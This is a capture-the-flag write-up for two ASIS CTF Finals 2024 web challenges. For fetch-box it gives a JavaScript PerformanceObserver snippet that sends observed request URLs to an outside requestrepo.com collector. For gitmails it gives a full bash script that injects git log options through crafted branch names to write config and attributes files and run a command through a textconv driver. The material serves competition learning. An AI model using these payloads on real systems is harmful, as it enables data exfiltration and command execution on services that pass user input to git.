Write-up for ASIS CTF Finals 2024 — Web challenges fetch-box and gitmails.
fetch-box (19 solves)
Use PerformanceObserver
to observe fetch
requests:
new PerformanceObserver((list) => {
list.getEntries().forEach((entry) => {
if (entry.name.includes('/ping?')) {
location = 'https://*.requestrepo.com/' + entry.name;
}
});
}).observe({entryTypes: ['resource']});
BTW, service worker does not work because it's not HTTPS.
gitmails (5 solves)
git log
option injection
emails = check_output(
['git', 'log', '--pretty=format:%ae',
*([f'--author={author}'] if author else []),
branch],
cwd=repo_dir
Here the branch
is supposed to be a branch, but it will be an option if it starts with -
.
The git
CLI does not allow such branch names, but we can modify the refs directly. For example:
cp .git/refs/heads/master .git/refs/heads/--output=config
git log --output
for file writing
We can use git log --output
to write the log to arbitrary file. Find this in man git log
or git | GTFOArgs.
As --
is set, we can use the email of each commit for each line in the output, e.g.:
GIT_AUTHOR_EMAIL="pager = /readflag" git commit --allow-empty -m nothing
GIT_AUTHOR_EMAIL='[core]' git commit --allow-empty -m nothing
Approaches that do not work
core
: It's on GTFOArgs but it's not triggered by. fsmonitor git log
.core.pager
: The output pipes into thecheck_output
function without an interactive tty, so Git does not use a pager.core.alternateRefsCommand
: Need a known path to anobjects
directory that is not the current repository.diff
/. external diff
: Need both.< driver >. command -p
and--ext-diff
but we can only inject a single option.
textconv
for command execution
diff
can be used to execute arbitrary command with git log -p
.
The textconv
command is called as <cmd> <filename>
, so we can use textconv
to output the flag.
We need to set the diff driver in the info
file, such as * [
and [diff "flag"] textconv = /readflag
.
However, we only have a single commit log (the branch argument is used as an option instead), so we will have identical config
and info
, but they have different syntax and contents.
The config
needs to be completely valid, while attributes
may have syntax errors. So we can append a= diff=flag
to config
, which is the attribute we need and also a valid line in config
. Then add a file with name a=
in the repository to see the diff.
Hosting the repository
If we don't want to use a public service like GitHub, we should host the repository to support read-only HTTP clone.
It's actually super easy. Just run git
in the .git
directory and run an HTTP server.
Final script
#!/bin/bash
set -euo pipefail
mkdir exp
cd exp
git init
touch a=
git add .
GIT_AUTHOR_EMAIL='a= diff=flag' git commit -m nothing
GIT_AUTHOR_EMAIL="textconv = /readflag '--give-me-the-f|ag' | tee" git commit --allow-empty -m nothing
GIT_AUTHOR_EMAIL='[diff "flag"]' git commit --allow-empty -m nothing
cd .git
cp refs/heads/master refs/heads/--output=config
mkdir refs/heads/--output=info
cp refs/heads/master refs/heads/--output=info/attributes
cp refs/heads/master refs/heads/-p
git --bare update-server-info
python -m http.server 1337
Then ask the challenge server to clone your HTTP git server.